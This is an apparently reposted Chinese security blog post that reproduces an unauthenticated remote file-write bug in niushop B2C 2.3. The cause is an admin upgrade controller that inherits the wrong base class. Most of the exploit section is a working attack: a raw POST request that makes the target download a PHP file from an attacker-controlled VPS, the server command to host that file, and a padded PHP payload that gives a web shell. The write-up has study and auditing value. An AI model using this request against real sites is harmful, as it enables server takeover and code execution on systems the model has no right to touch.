niushopB2C免費2.3版本無需登錄getshell


0x00 前言
之前朋友叫幫忙看一個站,基於niushop cms,沒分析過這個CMS,也沒時間跟,今天問朋友已經拿下了
問了一下怎么搞的,將漏洞復現一下。(筆記除草,今年1月份的文章了?)
 
0x01  漏洞影響
版本:niushopB2C免費2.3
最后更新時間: 2019-04-18
是否0day:否 (屬於1 day)
 
0x02 漏洞詳情
看到文件 data\extend\upgrade\Upgrade.php  update_file_download方法,該方法接受外部url來下載更新包,直接將包內容寫入

 

但注意下載的內容需要大於500字節。
全局搜索函數,在application\admin\controller\Upgradeonline.php 也就是Upgradeonline控制器,該控制器在后台目錄下,本應需要管理員權限,但代碼錯誤繼承自Controller類,而不是BaseController,導致無需登錄接口訪問

 

那么請求Upgradoneline的downloadPatchZip控制器,傳入download_url為我們的外網web php代碼文件,即可遠程下載文件到服務器上達到getshell

 

0x03 漏洞復現
構造請求包如下:
POST /index.php?s=/admin/Upgradeonline/downloadPatchZip HTTP/1.1
Host: target.com
Content-Length: 58
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

download_url=http://vpsip:8090/1.php&patch_release=1

在vps上使用python開一個簡易的web服務器:

python -m SimpleHTTPServer 8090

1.php內容:(注釋內容為湊字節,以滿足500字節限制)

<?php
  phpinfo();
/*
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
abcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
*/
?>

 

 下載成功

 

 提取獲取到的路徑,訪問即可getshell:

 

 

  

  

0x04 總結

這個洞原理和thinkcmf x 的代碼執行是一個原理,基於tp的二開的cms代碼審計,都可以關注一下,基類控制器繼承錯誤導致的權限控制失敗問題。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM